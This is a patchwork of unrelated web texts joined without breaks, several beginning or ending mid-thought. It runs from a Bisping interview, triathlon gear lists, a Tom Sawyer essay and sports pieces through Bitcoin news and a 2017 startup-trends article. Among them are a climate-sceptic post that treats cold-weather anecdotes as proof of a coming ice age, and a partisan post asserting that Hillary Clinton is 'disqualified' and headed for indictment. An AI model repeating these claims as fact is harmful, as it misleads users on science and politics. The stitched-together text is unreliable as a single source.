A re-match is an unlikely prospect, however, given that Bisping confirmed he would be dropping down from light-heavyweight to middleweight shortly afterwards. It was not a hard decision for a man who had long been aware that he was probably fighting at too heavy a weight.
''I was walking around at about the light-heavyweight limit between fights at the time, and I would be eating all sorts - pizzas, sandwiches, whatever,'' he admits. ''I remember going out to the States and you could see the light-heavyweights out there were a lot bigger. Everybody told me I could get down to middleweight but I was winning my fights and doing it impressively - in the first round. So I thought I'll keep going till I get beat, because you never know, I could end up winning the bloody title. And I did pretty good: I went 14 fights undefeated, which is rare.''
But if Bisping's outlook seems relentlessly positive at times, there is also an undeniable undertone of vulnerability. He admits having felt envious at school of kids who knew what they wanted from their lives, and remembers pouring over college prospectuses in which none of the courses held any appeal. In the end he opted for a course in electronic engineering, but gave it up after three months.
With hardly any qualifications to fall back on, the world of work didn't come naturally. Bisping worked in manual jobs during his late teens and early 20s, but they never lasted more than a few months. By this stage he was training as a kickboxer - despite winning a number of British titles, he couldn't earn enough to make a full-time living.
In the end, MMA found him. He got back in touch with former coach Paul Lloyd Davies in 2003 after deciding to try his hand at boxing. Davies persuaded Bisping to begin training in MMA instead, even though he had never even seen the sport on TV. Soon he had been earmarked as a future talent by the UFC. Since winning the Ultimate Fighter TV series in early 2006, he has refused to let go of his opportunity.
''I'm terrified of having to go back to a day job,'' he admits. ''And that's why I'm training like a man possessed. Because I want to keep winning. I've got to keep winning. Unless I want to go back to doing that, that's what I've got to do.''
Born on a British military base in Cyprus, the one other career Bisping seriously considered was joining the army, as his father and both his brothers had done. Despite getting all the paperwork together on more than one occasion, he could never quite go through with it.
''I always shit my pants at the last minute to be honest,'' laughs Bisping, though after the experience of his brother Konrad, it's a wonder that he can discuss it so lightly. A lance corporal at the age of 26, Konrad Bisping was attacked by Grant Kenyon, an 18-year-old soldier from his own unit, during a training exercise on Salisbury Plain. Angry after being shouted at by Konrad during the exercise, Kenyon responded by plunging a pickaxe into his skull.
''He got read his last rites,'' recalls Michael of his brother, who survived but suffered brain damage and permanent loss of vision. ''But he's a Bisping, he's my brother, we're fighters and he fought through it. Now we look at the positives. He's living a life. He's got a baby on the way. He's an inspiration. He doesn't wallow in self-pity over what happened. He sits there and he's positive. He's the life and soul of any party.''
Reflecting on his brother's aggressor may have turned out to be the second thing that could make Bisping angry, but as quickly as the emotion comes, it recedes. Immediately he is looking to the future, not the past.
''I want to be involved in this my whole life,'' he shoots back when asked how he envisages life when he's done fighting. ''Maybe when I'm done fighting I'll open a gym and manage fighters and train fighters.''
1. Sebastian Kienle
Germany
height: 180cm / 5’11”
weight: n/a 73kg last year / 160lbs
run split: 2:54:36
total time: 8:14:18
clothing: Orca prototype Kona Dream Suit
running shoes: New Balance RC1500
compression socks: no
sun glasses: Oakley prototype
other: Orca rubber bands laces, no watch
Kienle had a superb day indeed, and ran well enough to hold off all the chasers.
2. Ben Hoffmann
USA
height: 178cm / 5’10”
weight: 71.5kg / 158lbs
run split: 2:51:25
total time: 8:19:23
clothing: Zoot Ultra custom racesuit
running shoes: Zoot Solana
compression socks: no
sun glasses: Oakley Radarlock Path
other: Garmin 910XT watch and Zoot icefil cooler hat and scarf
3. Jan Frodeno
Germany
height: 193cm / 6’4”
weight: 74kg / 163 pounds
run split: 2:47:46
total time: 8:20:32
clothing: Skinfit
running shoes: Asics Super J33
compression socks: no
sun glasses: Oakley Radar
other: no watch
4. Andy Potts
USA
height: 188cm / 6'2"
weight: 77kg / 170lbs
run split: 2:48:18
total time: 8:21:38
clothing: TYR carbon tank & TYR carbon 9" tri shorts
running shoes: ASICS Gel-Hyperspeed 6
compression Socks: CEP Progressive Run Socks 2.0
sun glasses: Rudy Project Magster
other: TYR arm coolers, Polar V800 GPS watch, Nathan lock laces
5. Cyril Viennot
France
height: 179cm / 5’10”
weight: 74kg /163lbs
running time: 2:51:55
total time: 8:22:19
clothing: Kiwami Spider LD
running shoes: SCOTT Race Rocker
compression socks: BV Sport BOOSTER
sun glasses: none
other: Xtenex laces
6. Nils Frommhold
Germany
height: 188cm / 6’2”
weight: 76kg / 167.5lbs
running time: 2:52:45h
total time: 8:22:29h
clothing: Lemonsports custom wear
running shoes: Skechers GO Meb Speed 2
compression socks: no
sun glasses: Oakley Radar
other: Idenixx run cap with cooling function
7. Tim Van Berkel
Australia
height: 182cm / 6’
weight: 67kg / 147.5lbs
running time: 2:50:53
total time: 8:23:26
clothing: Scody
running shoes: Newton Distance
compression socks: no
sunglasses: Oakley Radar
other: Garmin 910XT GPS watch
8. Frederik Van Lierde
Belgium
height: 184cm / 6’1”
weight: 71kg / 156.5lbs
run split: 2:56:21
total time: 8:24:11
clothing: Castelli
running shoes: ON cloud racer
compression socks : Compressport R2
sun glasses: Oakley Radar
other: Polar V800
The defending champion was still running in second position as he left the Natural Energy Lab, but he could hear foot steps behind.
9. Bart Aernouts
Belgium
height: 184cm / 6’1”
weight: 73kg /161lbs
running split: 2:50:12
total time: 8:28:28
clothing: Pearl Izumi Octane suit
running shoes: Saucony Fastwitch 6
compression socks: no
sun glasses: Adidas Adizero Tempo
other: Boa laces (just installed in expo in Kona)
10. Romain Guillaume
France
height: 168cm / 5’6”
weight: 63kg / 139lbs
running split: 2:59:58
total time: 8:30:15
clothing: Pearl Izumi Pro edition
running shoes: ZOOT Ultra Race 4.0
compression socks: no
sun glasses: Adidas Tycane Pro
other: Boa laces (came with shoes),
Tekday watch
11. Maik Twelsiek
Germany
height: 185cm / 6’1”
weight: 78.5kg / 173lbs
running time: 3:07:20
total time: 8:31:06
clothing: SMASH – Fast Cat Kit
running shoes: Saucony Kinvara 4
compression socks: no
sun glasses: Oakley - Radarlock Vented Path
12. Ronnie Schildknecht
Switzerland
height: 185cm / 6’1”
weight: 79kg / 174lbs
running split: 2:54:54
total time: 8:33:35
clothing: Pearl Izumi Octane
running shoes: Hoka Huaka
compression socks: no
sun glasses: Adidas Adizero Tempo
13. Craig Alexander
Australia
height: 180cm / 5’10’
weight: 67kg / 147.5lbs
run split: 2:58:58
total time: 8:36:25
clothing: LG Course Custom one-piece
running shoes: Newton IM Elite
compression socks: no – but Compressport socks
sun glasses: Oakley Radar
other: Polar V800 GPS watch
14. Paul Matthews
Australia
height: 179cm / 5’10”
weight: 70kg / 154lbs
run split: 3:03:09
total time: 8:37:17
clothing: Louis Garneau
running shoes: Mizuno Wave Hitogami
socks: Craig Alexander Compress Sport
sun glasses: Smith Optics Pivlock Arena
15. Luke McKenzie
Australia
height: 180cm / 5’ 11’’
weight: 70kg / 154lbs
run split: 3:02:12
total time: 8:38:12
clothing: Champion Systems Apex Tri suit (Saucony)
running shoes: Saucony A6
compression socks: no
sun glasses: Smith Arena
other: custom trucker hat, Garmin watch
All images © Herbert Krabel / slowtwitch.com
“I can lick you!””I’d like to see you try it.” “Well, I can do it.””No you can’t, either.”
After that, the encounter deteriorates further (“Can!” “Can’t!”) until finally the two boys are wrestling in the dirt. Tom wins the battle—the citified newcomer is made to shout “Nuff!”—but returns home late and is thus commanded to whitewash the famous fence.
Following this incident, the reader’s sympathies are meant to lie with Tom. But try, if you can, to strip away the haze of nostalgia and sentiment through which we generally regard Mark Twain’s world, and imagine how a boy like Tom Sawyer would be regarded today. As far as I can tell, that fight is not just “inappropriate behavior,” to use current playground terminology, it is also one of many symptoms of oppositional defiant disorder—ODD—a condition that Tom manifests throughout the book.
And Tom is not merely ODD. He clearly has attention deficit hyperactivity disorder—ADHD—as well, judging by his inability to concentrate in school. “The harder Tom tried to fasten his mind on his book, the more his mind wandered,” Twain writes at one point. Unable to focus (“Tom’s heart ached to be free”), he starts playing with a tick. This behavior is part of a regular pattern: A few days earlier in church (where he had to sit “as far away from the open window and the seductive outside summer scenes as possible”), Tom had been unable to pay attention to the sermon and played with a pinch bug instead.
In fact, Tom manifests many disturbing behaviors. He blames his half-brother for his poor decisions, thus demonstrating an inability to take responsibility for his actions. He provokes his peers, often using aggression. He deliberately ignores rules and demonstrates defiance toward adults. He is frequently dishonest, at one point even pretending to be dead. Worst of all, he skips school—a behavior that might, in time, lead him to be diagnosed with conduct disorder, from which his friend Huck Finn clearly suffers.
I am not being sarcastic here—or at least not entirely. In fact, I’ve reread both Tom Sawyer and The Adventures of Huckleberry Finn several times in recent years, precisely because Twain draws such fascinating portraits of children whose behavior is familiar, even if we now describe it differently. As a mother of boys, I find this weirdly reassuring: Although ADHD and ODD are often dismissed as recently “invented” disorders, they describe personality types and traits that have always existed. A certain kind of boy has always had trouble paying attention in school. A certain kind of boy has always picked fights with friends, gone smoking in the woods, and floated down the river on rafts.
In previous eras, such behavior was just as problematic for adults as it is today. Poor old Aunt Polly—how many times does she “fall to crying and wringing her hands”? In order to cope with Tom, she seeks names for his disorder—he is “full of the Old Scratch,” meaning the devil—and searches for ways to control him (“Spare the rod and spile the child,” she tells herself).
But if the children and the parents are familiar, the society surrounding them is not. In fact, Tom Sawyer turns out fine in the end. In 19th-century Missouri, there were still many opportunities for impulsive kids who were bored and fidgety in school. The very qualities that made him so tiresome—curiosity, hyperactivity, recklessness—are precisely the ones that get him the girl, win him the treasure, and make him a hero. Even Huck Finn is all right at the end of his story. Although he never learns to tolerate “sivilization,” he knows he can head out to “Indian territory,” to the empty West where even the loose rules of Missouri life won’t have to be followed.
Nothing like that is available to children who don’t fit in today. Instead of striking out into the wilderness like Huck Finn, they get sent to psychologists and prescribed medication—if they are lucky enough to have parents who can afford that sort of thing. Every effort will be made to help them pay attention, listen to the teacher, stop picking fights in the playground, and rightly so. Nowadays, there aren’t any other options.
Paul George is one of the best perimeter defenders that the NBA has to offer.
In what seems like a logical move, especially given those two statements, the Pacers are apparently set to make the switch in deploying George as the "Teague stopper" beginning on Tuesday night in Indy.
From the Associated Press:
All-Star Paul George acknowledged he's likely to spend at least some time defending Hawks point guard Jeff Teague on Tuesday night. "I would love to, just to change it up a little bit and give him a different look," George said after the Pacers practiced Sunday. George said he and Frank Vogel discussed the defensive assignment Sunday, though Vogel declined to confirm the move or any other changes he might make now that the top-seeded Pacers trail Atlanta 1-0 in the first-round series.
Frankly (with no pun intended for Coach Vogel), this is the move that is screaming at the Pacers head coach right now. In fact, we discussed Indiana's potential ability to use George on Teague even before Game 1's decimation, and with their backs against the wall, it appears as if Vogel and/or George have come to the same conclusion.
In the opener (per Pro Basketball Talk), Pacers point guard George Hill grabbed most of the defensive time against Teague, and he had a tough night, allowing 1.1 points per possession to the Hawks including 16 points on 12 shot attempts. George was tracked as covering Teague on 2 possessions, and he forced a missed shot in addition to 2 converted free throws.
Teague's much anticipated match-up with George Hill could be over after just one game, but while it is usually a good thing to see the favorites on their heels, this is a move that could be a dangerous one for Atlanta. Teague's ability to get into the lane and create offense could be neutralized by George, a 6-foot-9 behemoth of a wing defender, and because the Pacers have Lance Stephenson to throw at Kyle Korver in place of George (while hiding Hill on DeMarre Carroll), there isn't a great deal of drop-off from the other perimeter players.
With all of that said, if Jeff Teague plays the same, aggressive style that he deployed in the opener, the Hawks will be more than capable of a repeat performance. Not even George could be expected to fully slow the explosively quick Teague off the dribble, and with the slight dip from Stephenson (both physically and mentally) on Korver, the sharpshooter could have a few extra open looks throughout the evening.
Someday, perhaps, NFL players, coaches and fans will be able to thank the 2012 replacement refs for one thing: The lingering effects of the replacements' final call may forever keep NFL owners from messing with the real officials again.
Whether the "Fail Mary" call at the end of the Seattle Seahawks' controversial win over the Green Bay Packers on Monday goes down as the worst officiating error in NFL history is an interesting discussion. More important, it was the moment when NFL owners finally came to their senses and realized that public confidence in their product was on the line by using substandard officials.
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By Wednesday night, the league and the officials worked out an eight-year deal. The league gave in on a couple of key issues, including the extension of pension benefits for another five years, and significantly raised the amount of money it was offering for officials.
All of that, however, is minutia to the players, coaches and fans. Instead, what they will remember is the many gaffes witnessed over the first three weeks of the season. Here's a look back at the 10 worst officiating moments from the replacements:
[Michael Silver: Welcome back regular refs; it's been too long]
1. The Fail Mary: The replacements saved their worst for last. The final call of Week 3 this season was the game-ending interception thrown by Seattle quarterback Russell Wilson. Somehow, even after replay, Wilson's pass, which was picked off in the end zone by Green Bay's M.D. Jennings, was ruled a touchdown catch by wide receiver Golden Tate. That play set off a firestorm of criticism of the league. Ultimately, fans were no longer talking about the game, but the refs.
Story continues
2. The 27-yard penalty: This was another error that occurred in Week 3. In the overtime of the Tennessee Titans' win over the Detroit Lions, officials marked off a 15-yard penalty for a personal foul against the Lions. However, instead of marking it off from the Tennessee 44-yard line, they marked it off from the Detroit 44. The 12-yard difference helped set up the Titans for what became the game-winning field goal.
3. The six-minute delay: Procedural errors by the refs, such as the one listed above, were the most consistent problem and did much to drain the confidence of players, coaches and fans. In the Week 3 Monday night game between the Denver Broncos and Atlanta Falcons, there was a fumble in the first half resulting in a fairly common scrum for the ball. However, this time it was apparent that the refs lost control of the game because players and coaches were coming off the sidelines. Pushing, shoving and screaming ensued. After six minutes of real time, the replacements finally restored order, but they never got their dignity back.
4. The 11-yard defensive holding: Later in the Falcons' win over Denver, Atlanta was called for a defensive-holding penalty in pass coverage. That's supposed to be a five-yard penalty and an automatic first down. Instead, the refs marked off 11 yards, not only mistaking the call as the 10-yard college rule, but also marking off the penalty from the wrong spot.
[Dan Wetzel: NFL does right thing and gives in to public pressure]
5. Fan on the field: In Week 2, Brian Stropolo was set to be a side judge in the New Orleans Saints-Carolina Panthers game. The problem was the NFL's failure to discover that Stropolo was a Saints fan. There were pictures of Stropolo on his Facebook page in Saints regalia and also sitting in front of the Superdome on game day. Not good. The only thing that kept Stropolo from taking the field was an alert report from ESPN's Chris Mortensen.
6. A fine mess: New England Patriots coach Bill Belichick's hands-on approach with an official at the end of the Sunday night game against the Baltimore Ravens earned him a $50,000 fine. While Belichick certainly looked angry at the moment, he later explained that he was looking for an explanation on what happened on the final, game-winning field goal. That's fair to ask for, although touching an official is verboten. But in the grand scheme of things, Belichick's fine was the biggest of four handed out to coaches in the first three weeks, which is a stunning pace. Belichick was joined by Washington Redskins offensive coordinator Kyle Shanahan ($25,000), Denver Broncos head coach John Fox ($30,000) and Denver defensive coordinator Jack Del Rio ($20,000), who were all docked for verbally berating the refs.
7. Phantom challenge: In another Week 3 gaffe, San Francisco 49ers coach Jim Harbaugh was able to convince the officials that he should be allowed to challenge a fumble call at the end of the 49ers' loss to the Minnesota Vikings even though Harbaugh had just called his final timeout. After the game, the official admitted the error, which was at least honest. Unfortunately, that's the only positive thing about that scenario.
[More: Seahawks have knack for being embroiled in officiating controversies]
8. The ref got paid: We repeatedly hear fans suggests that the refs were paid by one team. This time it really happened, although it didn't impact who won, thankfully. In the season opener between Seattle and the Arizona Cardinals, one of the refs in the game had been paid during the offseason to work Seahawks practices. That fact was never disclosed to the league and didn't come to light until Week 2. Fortunately, the Cardinals won the game.
9. Premature ending: To be fair, not even the San Diego Chargers and Oakland Raiders players, coaches or broadcasters watching this game realized the problem, so it's hard to get too worked up at the replacement ref. However, this play from the opener became typical. On the final play of regulation, San Diego punted to Oakland. As the punt rolled and the clock ran out, Charger players downed the ball at the Oakland 5-yardline. Because San Diego was the first team to touch the ball, the Raiders should have been given a final, untimed play. It would have taken a miracle 95-yard play for the Raiders to tie the game, but that's not the point.
[More: Replacement refs' struggles lead to new appreciation for vets]
10. Failure to tack on yardage: On at least two different occasions, officials failed to follow rule administration after defensive holding calls. Instead of adding the yardage to the end of play when the offense gained yards, the officials simply marked off the penalty from the original line of scrimmage.
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Racist myths perpetrated by the far right are to be challenged online by Theresa May’s government as part of a £60 million battle against extremism to be launched by the advertising giant M&C Saatchi.
Anti-hate speech experts say that the Home Office will bring the battle against propaganda directly to the ground occupied by the “alt-right” movement by using social media.
The menace to Britain from continental Europe’s growing far-right movement is being monitored by a secretive anti-subversion section of Whitehall, The Times can disclose.
Mosques needing protection from far-right extremists are likely to be key beneficiaries from a £2 million security programme for places of worship.
Sweden residents can’t remember seeing so much snow in August since the 1960s. Villagers can’t remember there’s ever been so much snow left at this time. “It should have been gone by now but it’s not.” “More snow than bare ground.”
Without end the public have been hearing about the above normal temperatures in Europe this summer. But all this talk has been misleading. When someone drives your face down only millimeters away from a gravel surface, then unsurprisingly the whole world starts looking like gravel. This is the tactic used by the media lately.
It turns out of course that the warm European summer has been limited more to central and southeastern Europe. The media refuses to talk about what has been going on over a vast North Atlantic region spanning from Greenland to Great Briatain, and across Scandinavia.
Luckily German website wobleibtdieerderwaermung (wherestheglobalwarming) give us the rest of the picture.
It turns out northern Europe has been downright frigid this summer, and the future looks pretty bleak.
The German site writes:
The cold summer that has gripped foremost northern and western Europe in 2015 has resulted in record snow heights on the mountains surrounding the Swedish winter sports resort “Klimpfjäll” in the southernmost part of the Lappland province, as WeatherAction News Blog reports.”
Record snow in August 2015 on the mountains “Klimpfjäll” in Sweden. Image source: www.klimpfjalladventure.com/.
The older residents in the mountain region can’t remember seeing so much snow in August since the 1960s. The mountains have an elevation of 1400 to 1600 meters, i.e. similar to Denver.
WeatherAction News Blog reports on Sweden this summer:
A very unique situation, say the residents in the area. The approaching autumn, and still do not have the snow melting away on the mountains. Villagers in Klimpfjäll cannot remember there ever been so much snow left at this time. ‘I’ve plowed this since the 60s and this much snow has never been there. It should have been gone by now but it’s not,’ says Agne Eliasson in Klimpfjäll.”
Swedish Västerbotten site here reports:
Snow drifts in the low mountain should normally be gone now. Go towards the Norwegian border to the west at 1100 meters altitude, then there is more snow than bare ground.”
Of course the icy August cold is not limited to Scandinavia.
Iceland sees coldest summer in 20 years
Earlier NTZ reported here that Iceland had been experiencing one of its coldest summers in 20 years.
Met Office meteorologist Páll Bergþórsson suspected already in April 2015 that the cold was not an isolated event, but the start of a significant cold period.
If this holds, expect this to have major implications on Arctic sea ice in the years ahead.
Record cold in Great Britain
Also Paul Homewood reported at his site that Ireland and Great Britain are experiencing a cool summer of 2015. wobleibtdieerderwaerming writes that Great Britain saw some of its coldest July nights in many years. Southern England saw an overnight low of only 1°C, which was the coldest measured temperature ever observed on the first of August.
Scotland sees “hats, scarves and gloves” – in July!
The Scotsman here reports of “hats, scarves and gloves in July in one of the most dismal summers in living memory. It adds: “It’s the second time this month snow has been forecast.” Remember, it’s the peak of summer!
The Mail here writes that in the Scottish Highlands there are more remaining snow patches than have been seen for 20 years.
Approaching the North Atlantic Ice Age
Unfortunately the data do not support the notion that these are mere temporary weather developments. Rather experts are warning that it may be the start of an unpleasant cold pattern with serious consequences for Europe – a continent that has (foolishly?) rushed into preparations for warmer long-term temperatures. For years a number of meteorologists and climate experts have been warning that the Atlantic Multidecadal Oscillation (AMO) was beginning its cooling phase and that this would usher cooler temperatures.
North Atlantic sea surface temperature data have been worrisome. They show that June and July of 2015 have seen the lowest temperature in 14 years:
North Atlantic sea surface temperature anomalies using the WMO 1981-2010 climate mean. Source: www.climate4you.com/.
They hounded my ex for having HIV and for being gay. They followed him secretly, outed him to his family and persecuted him for his illness. When he was diagnosed with HIV at Brigham Young, he had to run out of the college clinic to escape those who wanted to sequester and punish him. He died a few years ago. Most of his Mormon family didn't show up for his funeral. You want me to love these people? Let me say it's my Christian duty to try.
The Mormons are not unique in this persecution of their own gay folk. My own church has recently capitulated to bigotry in its own hiring practices, even as the Vatican is run by so many psychologically scarred gay men. But the Mormons are particularly vicious homophobes. Gay people are rendered invisible, their personhood erased in this church. The cruelty the Mormon church inflicts on its gay members is matched only by the Mormons' centuries-long demonization and hatred of black people. That African-Americans would seek common cause with a church that only recently still believed they were the product of Satan shows how profound homophobia can be. But this shared hatred can be exploited by the Hewitts and Romneys of this world. And what we have just witnessed is a trial run for much larger ambitions.
If we don't resist this now, we will not be able to resist it later.
In an interview with a local Ohio television station on Monday, Donald Trump said that Khizr Khan was really bothered by his position on border security — specifically his promise to keep radical Islamic terrorists from entering the country. [...] When the interviewer brought up Trump’s position on border security, Trump said, “It’s a very big subject for me. And border security’s very big. And when you have radical Islamic terrorists probably all over the place, we’re allowing them to come in by the thousands and thousands. And I think that’s what bothered Mr. Khan more than anything else.”
A new classification for Bitcoin and others
A statement posted in Polish on the GUS website and machine translated says that starting Dec. 1, 2016, the issuance of electronic currency and purchase and sale of electronic currency via the internet stand classified by official statistics services in Poland.
Companies that are active in this area will be able to gain an official PKD 64.19.Z registration.
Government moving on recognizing Bitcoin
The position of Bitcoin in Poland has been undergoing a sea change, while way back in 2013 there were reports of an official from Polish Ministry of Finance as saying, “What is not forbidden is permitted. However, we certainly cannot consider Bitcoin to be a legal currency.”
Then in September 2015, the Polish Finance Ministry issued a statement to the effect, “Any regulatory action addressing the problems of trading virtual currencies. They should be taken either as a result of initiatives at the EU level with a view to the cross-border nature of the business or as a result of a threat market failure cryptocurrency.”
Poland has been one of those countries that want to tax Bitcoin profits and the unclear status of Bitcoin in Poland has been a source of anxiety as banks in Poland have moved to close accounts of clients trading in Bitcoin.
Although the the public will not get a chance to speak at the meeting, opponents of the late-night curfew or “overlay” are rallying people to show up to the meeting in opposition of the proposed overlay and to contact council members to encourage them to reject the proposal.
Originally presented by The Uptown Neighborhood Association — TUNA for short —proponents of the new zoning overlay argue that it has made other entertainment districts safer and improved relationships with the homeowners who live near them. Lower Greenville was designated a "planned development district," which required bars in the area to obtain a special use permit to stay open until 2 a.m.
In late 2015, when the measure was initially proposed, bar owners in Uptown voiced concerns that the new rule would seriously impact their businesses. "About 33 percent of all sales on McKinney Avenue happen after midnight," Parliament’s Eddie Campbell told Eater at the time. "For some of these bars, if they’re known to be a late-night destination, as much as 40 percent of their sales take place between the hours of 12 and 2 a.m.
While the proposed curfew was rejected by ZOAC (the plan commission's subcommittee on zoning) and the Plan Commission itself, Monday's meeting provides an opportunity for the Quality of Life committee to send the decision to the full Dallas City Council to vote on. Out of the seven members on the Quality of Life committee, a majority (four) reportedly support the overlay and will likely recommend that it goes to City Council for a vote. Which means that bar owners will likely be biting their nails on Monday.
Recently, when conducting an investigation to Anthony Weiner’s alleged sexting of a 15 year-old girl, they stumbled upon many emails marked “life insurance” that were directly related to the FBI’s investigation of Hillary Clinton, via blacksphere.com.
However, sources indicated that the sources were turned over to the FBI a month ago, but we have heard nothing but crickets from James Comey.
It could be postulated that the letter from FBI director James Comey was a reaction to the fact that evidence excluded from his investigation into Hillary Clinton’s emails was going to be leaked by the NYPD anyway.
One thing we know from this story is that just because Hillary Clinton can control the Department of Justice and Federal Bureau of Investigation, she cannot control the New York Police Department.
Hillary Clinton was quick to comment on the story, saying that she wanted all the information out in the open for the public to see, despite the fact that the FBI cannot release information of ongoing criminal investigations.
Once again, Hillary is disqualified from running for the presidency and hopefully the reopening will result in criminal charges being brought against her. With the official re-opening of the case, we can only hope Comey saw something huge that all but guarantees an indictment.
Just think about the idea that if she is elected, the sitting President of the United States will be possibly be criminal prosecuted as of her first day in office. This would literally wreck our country!
If that happens, it could also be possible that those proceedings generate impeachment proceedings and she could be quickly removed from office.
If Clinton had any respect for the presidency and this country, she would suspend her campaign today.
A 19-year old student, Boyan Slat, recently invented a device that will clean up ocean garbage, primarily plastic, that threatens all forms of ocean life. Now 21, he is about to see the first prototype go to work, having been mentored by a startup accelerator. Three students in Africa recently demonstrated a process by which urine can create electricity.
2017 promises to be a year of continued innovation, and in the tech arena especially, new startups hold a lot of promise for business, governments, and overall human well-being. Here are 5 top startup trends to watch out for in 2017.
#1 AI and Machine Learning
Artificial intelligence has been a theme of science fiction for years. And now it is our reality – machines that can analyze behavior patterns and make predictions based on those patterns.
A very simple form of this occurs when Amazon recommends additional products to its shoppers. It has a lot of data that a machine has analyzed, telling it that, customers who bought product “A” also bought other specific products. And so, it promotes those products to anyone purchasing product “A.”
AI has gone far beyond the traditional algorithms for shopping on Amazon, however. Advanced technologies now enable machines to analyze big data, to discover patterns, to predict future behaviors, and to actually learn from all of these activities, producing new patterns.
Getting in on the Money
Throughout 2016, large enterprises have been pumping money into AI technology by the billions of dollars. In fact, it is predicted that by 2020, about $5.05 billion will be spent.
Clearly, AI is one of the biggest tech trends right now, and anyone with solid tech startup ideas in the area of machine learning has the potential to go after big startup investment rounds, as well as to be acquired by the likes of Google, Salesforce or Apple, all of which have acquired more than 40 tech start-ups related to AI.
The research firm Gartner, predicts that 62% of big businesses will be using some form of AI technology by 2018 and has named AI as one of the top hot tech startup trends for two years in a row.
AI Uses and Users are Broadening
Up until now, only the “big boys” could really participate in the development of AI technology. They could afford the data scientists to do it or to buy the technology from small startup names. This is no longer the case. Universities have plunged into machine learning and AI course programs, and an entire force of savvy young grads are now poised to enter the AI arena.
According to Ludo Ulrich, executive with Salesforce, thanks to the current scientific interest in this niche, along with the advancement of the technology, smaller enterprises will soon be able to take advantage of machine learning too. Ulrich is in charge of “startup relations” for Salesforce, and believes that throughout 2017, AI will be one of the startup trends that will be huge in 2017.
Applications of Machine Learning and AI
The tech trends that AI has and which will continue to unleash will be in the realms of intelligent physical things, such as robots, drones, cars, and wearable devices, and also in the form of apps that provide services (e.g. personal assistants).
Healthcare startup trends, for example, will be in areas of IoT monitoring devices worn by patients to apps that will perform diagnosis and prescriptive services, based upon huge global data that no human could analyze manually.
Fintech startup trends will be in the areas of apps that allow individual investors to access all of the same information that their financial advisors have. AI apps will analyze and predict trends in financial markets and make recommendations for stock and other investments. In fact, according to Odysseas Papadimitrious, CEO of WalletHub, financial advisors face extinction.
And personal banking is on the verge of significant disruption. Big banks, such as Wells Fargo and Bank of America, are already incorporating AI and machine learning to recognize patterns of behavior that signal fraud and identity theft. In September of this year, three University of Michigan professors and their fintech startup Clinic, launched “Finie,” an open source platform personal banking assistant who will answer most any question a depositor has, from “What is my balance?” to “How much did I spend in restaurants on my recent trip to New York?”
Big Data Keeps Getting Bigger
AI and machine learning are the spawn of big data. There is just so much of it today that humans cannot digest it, much less analyze it and mesh it with other relevant data that can impact their businesses.
According to IBM, in fact, the world generates about 2.5 quintillion bytes of data every day. Finding and analyzing the right data can no longer be done manually. If both B2C and B2B companies want to understand customer behaviors, if healthcare providers want to be able to improve patient care, if retailers and other agencies want to stem the tide of continued and ever more sophisticated data breaches and if banks want to increase their services to customers, thus remaining more competitive, then AI will certainly prove to be the answer.
#2 Chatbots
Recently, Taco Bell introduced its chatbot, named Tacobot. Customers can place orders and engage in friendly conversation with Tacobot while they confirm orders and make menu suggestions. It’s called “Conversational Commerce,” a term coined by Chris Messina, lead UX developer for Uber. And it’s one of the biggest trends in startups right now. As Messina said over a year ago, “…conversational commerce is about delivering convenience, personalization, and decision support online, while people are on the go, with only partial attention to spare. I expect more service providers will shift in this direction, becoming subtler in how they integrate into our lives.” It appears that he was right.
Here is a typical conversation with Tacobot:
Sometimes called web messaging apps, these chatbots will soon bring about the demise of traditional apps where fat fingers have to tap and scroll to get someone’s business done. They can do so much more with a chatbot app.
Answer customer queries – this is why Amazon’s Echo and Alexa are so popular.
Recommend and make additional suggestions for purchases – clothing retailer H&M uses its chatbot for this purpose, once it queries customers regarding preferred styles, colors, and sizes. And every time a customer returns to its internet site, the information is already there.
Provides greater speed of shopping , which today’s consumer appreciates.
Predict future purchases and re-target easily.
Recent statistics from Business Insider show that messaging apps already surpass use of social media. It is only a matter of time until all companies will be clamoring to incorporate chatbots for connecting with their customers on a more personalized and customized basis.
Developing chatbots for clients will be one of the most common IT startup trends during 2017. Business Insider, in fact, states that by 2020, most consumers will not be talking with a live person for purchasing or customer service needs.
#3 Cybersecurity
Cybersecurity will be another one of the big AI startup industry trends. Humans pouring through data to try to respond to security breaches after they have occurred is inefficient.
In fact, many major data breaches are not even discovered until well after they have occurred and caused huge damage. Some of the biggest data breaches have included government agencies (U.S.A. Dept. of Justice and the IRS in early 2016) and healthcare providers (patient names, social security numbers, etc.). Large retailers and banks have fallen victim too.
Security software using AI will be one of the best industries for startups – enterprises that can allow companies and agencies to detect breaches early on and take action in a proactive way.
While this field is still in its infancy, primarily because there is a manpower shortage, companies like SparkCognition are moving forward with what its senior product manager, Keith Moore, says are “…cognitive algorithms to constantly learn new malware behaviors and recognize how polymorphic files may try to attack in the future…”.
In 2017, we can expect major startup technology trends in security management services that use AI technology to anticipate and prevent the types of breaches we have recently seen.
Because cybersecurity is an ever-evolving technology, the best startups will be those that can provide the latest innovations in protection. Those that focus on products as opposed to management will experience a greater startup failure rate.
#4 AR and VR
A popular gifting item this Christmas is the VR (Virtual Reality) headset. VR and its younger sister AR (Augmented Reality) are rapidly becoming tools that will dominate far more than video games. Companies are looking to turn them into marketing messages.
A company called Looksar has already providing AR services to retailers. For example, an individual selecting a wine can scan the label and see the entire process of that wine’s production. Likewise, scanning a menu will allow a diner to view the entire process of the chef making that meal.
This past fall, Investor’s Business Daily made its annual predictions – 30% of B2C companies within the Forbes 2000 will at least experiment with AR and VR for marketing purposes. It is also predicted by IDC, the global market intelligence firm, that, by 2020, more than a billion people will have access to this new technology.
Big consumer-driven companies like Kellogg’s, Lego, and McDonald’s are already getting into experimentation. And augmented reality has already begun with apps such as “Pokémon Go.”
Among the trends affecting startup businesses there will definitely be AR and VR phenomena. Consider some of the other uses:
It’s no accident that Facebook purchased production of the VR Oculus Rift headset. It is obviously anticipating that commercial media using the platform will be a 360-degree photo and video content.
Handicapped people may have access to VR in order to “travel” and engage with family members who are far away.
VR will probably be used by business startups who have remote workers and have a need in them to be a “part of” the office environment. Thus, employees will be virtually in-house.
#5 Intelligent Things and Wearables
Spectacles by Snap (Snaptacles?) hit the market like a superstar, just the latest in a string of wearables that have captivated youthful consumers. Wearers can take 10-second videos with their sunglasses and save them to load onto Snapchat later. But, of course, this demographic is not the only generation to benefit from smart devices.
Other “smart” things are a combination of IoT and AI technologies – blood pressure and sugar level monitors that send a steady stream of information to a health care provider and alert both patient and provider when things are wrong.
